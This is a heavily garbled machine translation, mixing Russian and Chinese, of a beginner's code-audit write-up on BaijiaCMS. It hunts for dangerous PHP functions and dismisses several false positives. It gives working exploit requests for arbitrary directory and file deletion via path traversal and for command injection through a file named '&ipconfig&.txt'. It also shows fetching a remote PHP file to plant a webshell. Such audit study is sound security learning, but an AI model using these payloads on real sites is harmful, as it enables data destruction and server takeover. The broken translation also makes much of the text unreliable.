В прошлом большинство CMS аудита были инструментами,Прямо сейчасЗеркало Сэй+Куньлунь
Связанное сканирование для выявления уязвимых мест,Затем приступаем к аудиту. Я чувствую, что мои способности все еще равны нулю,Поэтому большая часть этого аудита CMS использует ручное обнаружение.,То есть поиск уязвимостей методом поискарискфункции.,Используйте это, чтобы улучшить свои возможности аудита.,Надеюсь, это будет полезно мастерам, изучающим аудит кода.
Ссылка на исходный код выглядит следующим образом
https://gitee.com/openbaijia/baijiacms
После установки локально,я здесьphpstudy+win10
,Поэтому сразу разархивируйте его вphpstudy
изwww
Оглавление下Прямо сейчас可
Затем создайте базу данных для хранения информации CMS. (Выполняется в командной строке Mysql)
Затем войдите в CMS, и вы будете перенаправлены в интерфейс установки по умолчанию.
Просто обратите внимание на имя базы данных и пароль учетной записи, а остальное запишите по своему усмотрению.
После успешной установки можно запустить аудит.
Когда мы получим набор исходного кода,Сначала нужно провести анализ по конкретной папке,Только так мы сможем составить предварительное впечатление о CMS.,Сделайте некоторые приготовления к последующим действиям. Корневой каталог выглядит следующим образом
Соответствующий каталог объясняется следующим образом.
addons плагин
api интерфейс
assets статические файлы
attachment Загрузить каталог
cache каталог кэша
config Системные файлы
include Системные файлы
system внутренний код
противsystem
Оглавление,Это чаще используется,Мы можем проанализировать это дальше
system Каталог системных модулей
├─alipay Оконный модуль сервиса Alipay
├─bonus Купонный модуль
├─common Шаблон публичной функции
├─index Страница входа
├─member Членский модуль
├─modules Масштабируемые модули и управление модулями
├─public Публичный модуль
├─shop Серверный модуль торгового центра
├─shopwap Внешний модуль торгового центра
├─user пользователь системы
└─weixin Модуль WeChat
После понимания этих,Вам также необходимо обратить внимание на некоторые файлы внутренней поддержки.,Например этоxxxinc.php
документ,У них часто есть лазейки,Это в свою очередь приводит к уязвимостям в CMS.
Поэтому необходимо прочитать их кратко. Затем, после завершения подготовки, приступайте к следующему шагу.
Прежде чем проводить обнаружение уязвимостей в CMS, нам необходимо сначала понять маршрутизацию CMS.
Здесь мы напрямую получаем доступ к странице по умолчаниюbaijiacms-master/index.php
,Затем войдите в серверную часть,Здесь я расскажу вам, что я считаю хорошим способом найти маршрутизацию.,Просто сосредоточьтесь на чем-то особенном,Легче найти,Например, интерфейс смены пароля здесь
Нажимаем на него и обнаруживаем, что маршрутизация на данный момент следующая
baijiacms-master/index.php?mod=site&act=manager&do=changepwd&beid=1
Далее выполняем глобальный поиск в Vscode,поискpassword=
Результат следующий: вы можете найти его путь
baijiacms-master\system\manager\class\web\changepwd.php
Затем найдите его конкретное местоположение
Давайте сравним это с маршрутизацией, которую мы видели ранее.,ты можешь обнаружитьact
На самом деле этоsystem
документ夹下издокумент夹名称,do
是所选择具体документиз名称,Чтобы иметь предварительное представление об этом, вы можете получить доступ к файлам на веб-странице позже, когда найдете их.
здесьSeay+ключевое словопоиск
из方式руководить Охота на уязвимости
Обнаружено много предполагаемых точек инъекции, начните следить за первой
документмаршрутизация/addons/activity/class/mobile/index.php
Код ключа
global $_W,$_GPC;
$activityid = intval ( $_GPC ['activityid'] );
$operation = !empty($_GPC['op']) ? $_GPC['op'] : 'display';
$pagetitle = «Портал регистрации мероприятий»;
$activity = pdo_fetch ("SELECT * FROM " . table ('activity') . " WHERE uniacid = '{$_W['uniacid']}' and id = " . $activityid );
Вы можете видеть, что переменная однокислотной кислоты действительно не заключена в одинарные кавычки.,Возможна инъекция,但насздесь注意到它是_W['униацид'], обратная трассировка_W,см. глобальный _W,_GPC;,Это глобальная переменная,Итак, мы напрямуюvscodeсередина Поиск(ctrl+shift+fобщая ситуацияпоиск)Обнаружить_GPC=_GP,Поэтому нам просто нужно убедиться_GP, можешь быть уверен_GPC,Далее ищите
Здесь видно, что параметры, запрошенные всеми методами, обрабатываются функцией Stripslashes.,Затем параметры были объединены,После слияния параметры массива просматриваются последовательно.,Выполнить обработку функции htmlspecialchars,Тогда символ сущности&Заменить на&。Но это_W=можно найти здесьW=_CMS, также смотрите нашу_W['uniacid']=_CMS['beid'], искать дальше_CMS['beid']=найдите его эквивалентнымфункция,то есть функция getDomainBeid,Итак Далее ищитеgetDomainBeidфункция
function getDomainBeid()
{
global $_GP;
$system_store = mysqld_select('SELECT id,isclose FROM '.table('system_store')." where (`website`=:website1 or `website`=:website2) and `deleted`=0 ",array(":website1"=>WEB_WEBSITE,":website2"=>'www.'.WEB_WEBSITE));
if(empty($system_store['id']))
{
if(!empty($_GP['beid']))
{
$system_store = mysqld_select('SELECT id,isclose FROM '.table('system_store')." where `id`=:id and `deleted`=0",array(":id"=>$_GP['beid']));
if(empty($system_store['id']))
{
message("Подходящий магазин не найден");
}
if(!empty($system_store['isclose']))
{
message("Магазин закрыт и недоступен");
}
return $system_store['id'];
}else
{
return "";
}
}else
{
if(!empty($system_store['isclose']))
{
message("Магазин закрыт и недоступен");
}
return $system_store['id'];
}
}
здесь可以看出system_store
по системной базе данныхсередина查出来из数据,Это вне нашего контроля,нас可控из是$_GP['beid']
,Глядя на оператор SQL в это время
$system_store = mysqld_select('SELECT id,isclose FROM '.table('system_store')." where `id`=:id and `deleted`=0",array(":id"=>$_GP['beid']));
Если наши данные в норме, его результат должен быть
id isclose
xx xxxxxxx
xx xxxxxxx
И когда мы вводим beid как xx and sleep(2)Этот вид,Нет сомнений, что результатов запроса не будет.,Это также означаетsystem_store['id'], и конечный результат этой функции возвращаетсяsystem_store['id']; , то в этот момент он вернет нулевое значение, а затем вернется к этому оператору SQL
pdo_fetchall("select * from " . tablename('eshop_member') . " where isagent =1 and status=1 and uniacid = " . $_W['uniacid'] . " {$condition} ORDER BY agenttime desc limit " . ($pindex - 1) * $psize . ',' . $psize);
середина,Если мы там нормальные,Хотите вернуть ненулевое значение,Тогда это$_W['uniacid']
只能接收到正常изid,Это база данныхсередина存储着изid
ценить,Так что SQL-инъекция здесь невозможна.
Есть также файлы, подобные этому:
имя файла:system/eshop/core/mobile/commission/team.php
Часть PHP-кода
$list = pdo_fetchall("select * from " . tablename('eshop_member') . " where isagent =1 and status=1 and uniacid = " . $_W['uniacid'] . " {$condition} ORDER BY agenttime desc limit " . ($pindex - 1) * $psize . ',' . $psize);
имя файла: /addons/activity/class/web/activity.php
Часть PHP-кода:
$activity = pdo_fetch ("SELECT * FROM " . table ('activity') . " WHERE uniacid = '{$_W['uniacid']}' and id = " . $activityid );
Имя файла:/addons/activity/class/mobile/join.php
Часть PHP-кода:
$row = pdo_fetch ("SELECT id FROM " . table ('activity') . " WHERE uniacid = '{$_W['uniacid']}' and id = " . $activityid );
Имя файла:/addons/activity/class/web/records.php
Часть PHP-кода:
$row = pdo_fetch("SELECT id,pic FROM " . table('activity_records') . " WHERE id = $id and uniacid = '{$_W['uniacid']}'");
Имя файла:/system/eshop/core/web/shop/dispatch.php
Часть PHP-кода:
$dispatch = pdo_fetch("SELECT id,dispatchname FROM " . tablename('eshop_dispatch') . " WHERE id = '$id' AND uniacid=" . $_W['uniacid'] . "");
имя файла: /system/eshop/core/web/virtual/category.php
Часть PHP-кода:
$list = pdo_fetchall("SELECT * FROM " . tablename('eshop_virtual_category') . " WHERE uniacid = '{$_W['uniacid']}' ORDER BY id DESC");
документ路径/system/common/model/virtual.php
здесь Обнаружить参数id
,следовать заid
переменная,Найдено из
public function updateGoodsStock($id = 0)
{
global $_W, $_GPC;
$goods = pdo_fetch('select virtual from ' . tablename('eshop_goods') . ' where id=:id and type=3 and uniacid=:uniacid limit 1', array(
':id' => $id,
':uniacid' => $_W['uniacid']
));
Обнаружено, что идентификатору здесь напрямую присвоено значение 0. Мы не имеем над ним контроля, поэтому инъекции нет.
Об охоте на уязвимости,Большинство из них начинаются с какой-то важной функции.,Если ты думаешьSeay
扫描из不够全面,Мы можем найти это сами,Для удаления файла,насздесьпервый想到из就是unlink
функция,такнасздесь打开Vscode
,ctrl+shift+f
общая ситуацияпоискunlink
функция
Обратите внимание, что здесь несколько файлов.,js
иcss
前端документ自不必看,насздесь要сосредоточиться наиз是php
документ,Начнем с первого.
документмаршрутизацияbaijiacms-master\includes\baijiacms\common.inc.php
,Используемый код выглядит следующим образом
function rmdirs($path='',$isdir=false)
{
if(is_dir($path))//Определяем, является ли переменная каталогом
{
$file_list= scandir($path); //Просмотр файлов по пути
foreach ($file_list as $file)//Последовательный обход
{
if( $file!='.' && $file!='..')//Если нет и..
{
if($file!='qrcode')
{
rmdirs($path.'/'.$file,true);//Удалить файлы в каталоге
}
}
}
if($path!=WEB_ROOT.'/cache/')//Если имя переменной не является корневым каталогом, соедините кеш
{
@rmdir($path); //Удалить каталог
}
}
else
{
@unlink($path);
}
}
Вы можете видеть, что когда он определит, что переменная является каталогом, он будет рекурсивно просматривать файлы в каталоге, а затем удалять все файлы. Если это не каталог, то в этот момент он удалит файл. Далее идет функция, поэтому нам предстоит посмотреть, какой файл использует эту функцию, и затем использовать ее.
так接下来общая ситуацияпоискфункцияrmdirs
在документbaijiacms-master\system\manager\class\web\database.php
середина Обнаружить如下代码
if($operation=='delete')
{
$d = base64_decode($_GP['id']);
$path = WEB_ROOT . '/config/data_backup/';
if(is_dir($path . $d)) {
rmdirs($path . $d);
message('Резервная копия успешно удалена!', create_url('site', array('act' => 'manager','do' => 'database','op'=>'restore')),'success');
}
}
可以Обнаружитьздесь对переменнаяруководить了base64_decode
иметь дело с,Теперь, если мы хотим удалить каталог,Сначала нам нужно закодировать его в base64.,При этом мы видим, что здесь указан путь
$path = WEB_ROOT . '/config/data_backup/';
Но на самом деле мы можем это обойти. Впоследствии мы только проверяем, является ли это каталогом, но не ограничиваем каталог. Поэтому мы можем удалить любой каталог, перехватив пакеты и изменив каталог через burpsuite.
Далее попытайтесь эксплуатировать Сначала создаем новый каталог в корневом каталоге (имя любое, в моем случае qwq)
Затем получите доступ к интерфейсу резервного копирования базы данных. Конкретный маршрут выглядит следующим образом:
http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=manager&do=database&op=restore&beid=1
Включить захват пакетов bp,Нажмите, чтобы удалить функциональную точку. Интерфейс отправки пакета повторов,ИсправлятьidдляLi4vLi4vcXdx
(../../qwqизBase64форма кодирования)
В это время вернитесь в корневой каталог для просмотра.
Кромеrmdir
иunlink
,Мы также часто можем сосредоточиться наdelete
функция,Потому что его дословный перевод также означает удаление.,так接下来就общая ситуацияруководитьпоискdelete()
а затем вincludes\baijiacms\common.inc.php
середина Обнаружить相关代码,Конкретный код выглядит следующим образом
function file_delete($file_relative_path) {
if(empty($file_relative_path)) {
return true;
}
$settings=globaSystemSetting();
if(!empty($settings['system_isnetattach']))
{
if($settings['system_isnetattach']==1)
{
require_once(WEB_ROOT.'/includes/lib/lib_ftp.php');
$ftp=new baijiacms_ftp();
if (true === $ftp->connect()) {
if ($ftp->ftp_delete($settings['system_ftp_ftproot']. $file_relative_path)) {
return true;
} else {
return false;
}
} else {
return false;
}
}
if($settings['system_isnetattach']==1)
{
require_once(WEB_ROOT.'/includes/lib/lib_oss.php');
$oss=new baijiacms_oss();
$oss->deletefile($file_relative_path);
return true;
}
}else
{
if (is_file(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path)) {
unlink(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path);
return true;
}
}
return true;
}
Сосредоточьтесь на этом здесь
if(!empty($settings['system_isnetattach']))
Когда это выполнение пройдет, он не будет удален, наоборот, файл будет удален напрямую. Поэтому нам нужно узнать, что это за штука. Как обычно, глобальный поиск.
Здесь обнаружено, что это удаленное вложение,Поэтому, если мы выберем локальный здесь,Само собой разумеется, что до него можно добраться напрямую.else
,Удалить файлы напрямую,Посетите конкретныймаршрутизация
http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=manager&do=netattach&beid=1
Дальше всё настроено,Далее найдите и используйте этоfile_delete
функцияиздокумент,Взгляните на общую ситуацию
документмаршрутизациядляsystem\eshop\core\mobile\util\uploader.php
,Часть кода выглядит следующим образом
} elseif ($operation == 'remove') {
$file = $_GPC['file'];
file_delete($file);
show_json(1);
}
因此насздесь访问这个маршрутизацияи установитьoperation
дляremove
,Само собой разумеется, что вы можете просто удалить файл напрямую.,Далее попытайтесь эксплуатировать.
Сначала создайте новый файл в корневом каталоге,здесь命名дляqwq.txt
Следующее посещение маршрута
http://127.0.0.1:8080/baijiacms-master/index.php?mod=mobile&act=uploader&do=util&m=eshop&op=remove&file=../test.txt
Просмотр корневого каталога в это время
Файл успешно удален
в то же время,нас刚刚还Видеть了不止这一个документ利用了delete
функция,Существует ли другой?,давайте посмотрим
документмаршрутизацияsystem\eshop\core\web\shop\category.php
,конкретный код
elseif ($operation == 'post') {
...
...
...
if (!empty($id)) {
unset($data['parentid']);
pdo_update('eshop_category', $data, array(
'id' => $id
));
file_delete($_GPC['thumb_old']);
Здесь вы можете обнаружить, что если вы хотите удалить файлы, вам необходимо выполнить три условия:
1、$operation == 'post'
2. $id не пуст.
3. $_GPC['thumb_old'] — конкретное имя файла.
Итак, что мы говорим логически,Давайте посетим эту маршрутизацию,Затем Исправлятьоперация опубликована, добавьте параметрыid=1,в то же времядополнительные параметры«thumb_old» означает, что вы можете удалить файл, если хотите удалить имя файла.operation在前面可以Видеть На самом деле это参数opтакнаспрямой给op赋ценитьдляpost,Чтобы добиться удаления файла,Следующая попытка
在根Оглавление新建документqwq2.txt
Следующее посещение маршрута
http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=category&op=post&do=shop&m=eshop&beid=2&id=1&thumb_old=../qwq.txt
Теперь вы можете удалить файл
противвыполнение команды,нассосредоточиться наизфункция Определенноeval
、system
、exec
Эти немногие,так接下来就尝试去利用Vscodeизобщая ситуацияпоискискать подозрительные точки。
первыйпоискиз是eval
找到из大多数是带有evalиз关键词而非eval
функция,Лишь несколько документов относятся к evalфункции.,Далее простой анализ
документмаршрутизацияbaijiacms-master\system\shopwap\template\mobile\login_dingtalk_pc.php
,Часть кода выглядит следующим образом
function checkstatus(){
$.get("<?php echo create_url('mobile',array('act' => 'dingtalk','do' => 'fastlogin_pc','op'=>'dologincheck','skey'=>$showkey));?>", {}, function(data){
var data= eval("(" + data + ")");
if(data.status==1)
{
location.href="<?php echo create_url('mobile',array('act' => 'dingtalk','do' => 'fastlogin_pc','op'=>'tologin','skey'=>$showkey));?>";
}
if(data.status==-1)
{
alert("Не удалось войти! Обновите QR-код, чтобы войти");
location.href="<?php echo create_url('mobile',array('act' => 'shopwap','do' => 'login','op'=>'dingtalk'));?>";
}
});
}
Здесь видно, что это js-код,Давайте кратко разберем эту функцию,Нетрудно обнаружить, что первым параметром стоит взять соответствующий URL,Вторая функция,То естьfunction(data)
,это правильно с самого началаURLсередина提取出из参数руководитьосуществлять,Здесь мы продолжаем рассматривать функцию,Вот это после выполнения функции,Статусное значение результата оценивалось,结果для1
时判断для登录成功,перейдет на другой интерфейс,而当для-1
Не удается войти в систему, когда,Вернитесь в интерфейс входа в систему,Итак, мы видим, что на самом деле нет места для вывода результатов выполнения.,Поэтому у нас нет возможности начать,Здесь невозможно добиться выполнения команды,Итак, пас.
Ниже приведено несколько подобных файлов, поэтому вам больше не нужно их просматривать.
документмаршрутизация:baijiacms-master\system\shopwap\template\mobile\login_weixin_pc.php
Часть кода:
function checkstatus(){
$.get("<?php echo create_url('mobile',array('act' => 'weixin','do' => 'fastlogin_pc','op'=>'dologincheck','skey'=>$showkey));?>", {}, function(data){
var data= eval("(" + data + ")");
if(data.status==1)
{
location.href="<?php echo create_url('mobile',array('act' => 'weixin','do' => 'fastlogin_pc','op'=>'tologin','skey'=>$showkey));?>";
}
if(data.status==-1)
{
alert("Не удалось войти! Обновите QR-код, чтобы войти");
location.href="<?php echo create_url('mobile',array('act' => 'shopwap','do' => 'login','op'=>'weixin'));?>";
}
});
}
setInterval("checkstatus()",2000);
документмаршрутизация:baijiacms-master\system\weixin\template\mobile\badding_weixin_pc.php
Часть кода:
function checkstatus(){
$.get("<?php echo create_url('mobile',array('act' => 'weixin','do' => 'banding_pc','op'=>'dologincheck','skey'=>$showkey));?>", {}, function(data){
var data= eval("(" + data + ")");
if(data.status==1)
{
location.href="<?php echo create_url('mobile',array('act' => 'shopwap','do' => 'account'));?>";
}
if(data.status==-1)
{
alert("Не удалось войти! Обновите QR-код, чтобы войти");
location.href="<?php echo create_url('mobile',array('act' => 'weixin','do' => 'fastlogin','bizstate'=>'banding_weixin'));?>";
}
});
}
setInterval("checkstatus()",2000);
Далее мы сосредоточимся наsystem
функция,прямойVscode
общая ситуацияпоиск
наконец вincludes\baijiacms\common.inc.php
найдено нижеsystem
функция,Чтосередина Часть кода выглядит следующим образом
function file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path,$allownet=true)
{
$settings=globaSystemSetting();
if(!file_move($file_tmp_name, $file_full_path)) {
return error(-1, «Не удалось сохранить загруженный файл»);
}
if(!empty($settings['image_compress_openscale']))
{
$scal=$settings['image_compress_scale'];
$quality_command='';
if(intval($scal)>0)
{
$quality_command=' -quality '.intval($scal);
}
system('convert'.$quality_command.' '.$file_full_path.' '.$file_full_path);
}
...
....
.....
Здесь вы можете видеть, что файл сохранен, и по нему выносится оценка, чтобы определить, прошла ли загрузка. Вам не нужно об этом беспокоиться. Здесь мы рассмотрим еще один.
if(!empty($settings['image_compress_openscale']))
Что это значит?,Здесь мы видим, что если это решение может быть принято,而后就会对документ名идокумент路径руководить一个system
осуществлять,Тогда мы сможем добиться выполнения команды.,Итак, наша первая задача — найти, что это за штука.,так接下来общая ситуацияпоискimage_compress_openscale
Нашел это сейчас,этоФункция сжатия изображения
,Итак, мы переходим непосредственно к включению этой функции.,Решение «если» здесь может пройти.,Итак, давайте сначала включим это,Посетите маршрутизацию следующим образом
http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=manager&do=netattach&beid=1
Далее мы проверим, какой файл использует эту функцию. В конце концов, мы сможем использовать ее только в том случае, если найдем файл.
Можно обнаружить, что эта функция используется здесь. Конкретный код выглядит следующим образом.
$extention = pathinfo($file['name'], PATHINFO_EXTENSION);
$extention=strtolower($extention);
if($extention=='txt')
{
$substr=substr($_SERVER['PHP_SELF'], 0, strrpos($_SERVER['PHP_SELF'], '/'));
if(empty( $substr))
{
$substr="/";
}
$verify_root= substr(WEB_ROOT."/",0, strrpos(WEB_ROOT."/", $substr))."/";
//file_save($file['tmp_name'],$file['name'],$extention,$verify_root.$file['name'],$verify_root.$file['name'],false);
file_save($file['tmp_name'],$file['name'],$extention,WEB_ROOT."/".$file['name'],WEB_ROOT."/".$file['name'],false);
if($verify_root!=WEB_ROOT."/")
{
copy(WEB_ROOT."/".$file['name'],$verify_root."/".$file['name']);
}
$cfg['weixin_hasverify']=$file['name'];
}
здесьиз话是对上传документруководить了pathinfo
функцияиметь дело с,Фактически это означает получение имени расширения (суффикса имени),当дляtxt
суффикс,будет продолжаться,Тогда позвони сюдаfile_save
функция,Итак, наше мышление здесь ясно,Давайте создадим здесь новый файл,命名дляххх команда.txt
,В настоящее время, естественно, эффект от выполнения команды может быть достигнут.,Следующая попытка。
Давайте создадим здесь новый текстовый файл.,命名для&ipconfig&.txt
Далее загрузите его, конкретный маршрут
http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=weixin&do=setting&beid=1
Затем сохраните и увидите эффект.
документмаршрутизация/system/eshop/core/mobile/shop/util.php
,Важные коды следующие:
} else if ($operation == 'areas') {
require_once WEB_ROOT . '/includes/lib/json/xml2json.php';
$file = ESHOP_AREA_XMLFILE;
$content = file_get_contents($file);
$json = xml2json::transformXmlStringToJson($content);
$areas = json_decode($json, true);
die(json_encode($areas));
Давайте пока не будем смотреть на остальных. Давайте сначала посмотрим на этих двоих.
$file = ESHOP_AREA_XMLFILE;
$content = file_get_contents($file);
本来прямой包含файл, его действительно можно прочитать, но мы можем увидеть его здесь.fileпрямой赋ценить了,Что это?,Если мы посмотрим глобально, то обнаружим, что это XML-файл, поэтому он для нас неуправляем.,Так что здесь нет чтения файлов,Так что это ложное срабатывание,Посмотрите на следующее место.
Так что не стоит обращать внимание на подобные подозрительные моменты. Вот несколько простых:
имя файла:/system/eshop/core/web/sale/enough.php
Часть кода:
$content = file_get_contents($file);
Имя файла:/system/eshop/core/web/shop/dispatch.php
Часть кода:
$content = file_get_contents($file);
Загрузка файл, Сэй здесь ничего не сканировал, поэтому искали вручную, по запросу Загрузка файла,Первое, что приходит на ум, это слово «загрузить».,对应英文дляupload
,такпрямойVscode
общая ситуацияпоискupload()
документмаршрутизациядляincludes\baijiacms\common.inc.php
,Конкретный код выглядит следующим образом
function file_upload($file, $type = 'image') {
if(empty($file)) {
return error(-1, «Контент не загружен»);
}
$limit=5000;
$extention = pathinfo($file['name'], PATHINFO_EXTENSION);
$extention=strtolower($extention);
if(empty($type)||$type=='image')
{
$extentions=array('gif', 'jpg', 'jpeg', 'png');
}
if($type=='music')
{
$extentions=array('mp3','wma','wav','amr','mp4');
}
if($type=='other')
{
$extentions=array('gif', 'jpg', 'jpeg', 'png','mp3','wma','wav','amr','mp4','doc');
}
...
...
}
Здесь вы можете видеть, что по этому поводу было проведено много испытаний.,Обнаружен тип файла,и требовался суффикс,Поэтому эта функция больше не должна быть Загрузка файла.,Но, к счастью, это связано более чем с однимupload
изфункция,Смотрим вниз и видим эту функцию
function fetch_net_file_upload($url) {
$url = trim($url);
$extention = pathinfo($url,PATHINFO_EXTENSION );
$path = '/attachment/';
$extpath="{$extention}/" . date('Y/m/');
mkdirs(WEB_ROOT . $path . $extpath);
do {
$filename = random(15) . ".{$extention}";
} while(is_file(SYSTEM_WEBROOT . $path . $extpath. $filename));
$file_tmp_name = SYSTEM_WEBROOT . $path . $extpath. $filename;
$file_relative_path = $extpath. $filename;
if (file_put_contents($file_tmp_name, file_get_contents($url)) == false) {
$result['message'] = 'Извлечение не удалось.';
return $result;
}
$file_full_path = WEB_ROOT .$path . $extpath. $filename;
return file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path);
}
可以Обнаружить这个只对документруководить了pathinfo
функцияиметь дело с,Удалите его суффиксное имя,Затем объедините путь и случайные числа, чтобы сформировать имя файла.,那么нас如果通过这个функцияруководить Загрузка file, само собой разумеется, что вы можете загрузить php-файл для реализации getshell. Далее давайте посмотрим, какой файл использует эту функцию.
документмаршрутизацияsystem\public\class\web\file.php
,конкретный код
if ($do == 'fetch') {
$url = trim($_GPC['url']);
$file=fetch_net_file_upload($url);
if (is_error($file)) {
$result['message'] = $file['message'];
die(json_encode($result));
}
}
接下来нас只需要满足do=fetch
,Затемurl
середина包含насиздокумент,Вы можете добиться Загрузка файл, содержимое моего удаленного файла выглядит следующим образом
Далее попытайтесь использовать это. Маршрут доступа следующий
http://127.0.0.1:8080/baijiacms-master/index.php?mod=web&do=file&m=public&op=fetch&url=http://xxx.xxx.xxx.xxx/qwq.php
Доступ к указанному пути к файлу
Видно, что Загрузка в настоящее время реализована. файл, если передать предложение троянскому коню, можно получитьshell.
Этот аудит CMS — первый случай, когда Xiaobai широко использует функцию ручного поиска рисков для поиска лазеек.,В общей сложности это заняло пол недели,Это довольно сложно для новичка,Есть много моментов, где аудит не сработал.,Хотя аудит не удался,Но я все еще чувствую, что лучше понимаю возможности кодирования.,Это можно считать чем-то приобретенным. наконец,Если в статье есть ошибки,Я также надеюсь, что все мастера меня поправят.